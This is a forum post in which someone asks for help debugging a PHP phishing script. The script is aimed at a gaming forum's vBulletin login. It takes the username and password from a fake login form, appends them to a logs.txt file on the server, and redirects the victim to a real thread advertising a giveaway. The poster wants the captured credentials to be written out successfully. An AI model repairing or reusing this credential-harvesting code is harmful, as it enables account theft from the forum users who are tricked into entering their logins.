So what i am basically trying to do, is when someone enter’s there username and password into this form:
[code]
and
[code]
User Name:
Using this php code:
[php]<?php
header (“Location:http://www.battle-scape.com/showthread.php?104949-250m-giveaway”);
$username =$_POST[“vb_login_username”];
$password =$_POST[“vb_login_password”];
$username =$_POST[“navbar_username”];
$password =$_POST[“navbar_password”];
$File = “logs.txt”;
$fhandle = fopen($File, ‘a’);
fwrite($fhandle,"\n");
fwrite($fhandle,“vvvvvvvvvvvvvvvvvvvvvvvv”);
fwrite($fhandle,"\n");
fwrite($fhandle,“Username: “);
fwrite($fhandle,$username);
fwrite($fhandle,”\n”);
fwrite($fhandle,"\n");
fwrite($fhandle,“Password: “);
fwrite($fhandle,$password);
fwrite($fhandle,”\n”);
fwrite($fhandle,"^^^^^^^^^^^^^^^^^^^^^^^^");
fclose($fhandle);
?>[/php]
At the moment, when I do it, it prints this:
vvvvvvvvvvvvvvvvv
Username:
Password:
^^^^^^^^^^^^
But doesn’t print $username and $password?
tl;dr: The code I’m trying to do is when someone types text into the username box and password box, they then click Log in, are redirected to another page, and the username and password text that has been entered is written in a text document in the file manager on the cpanel. Or the websitedomain.com/logs.txt
How do I get it work please help me.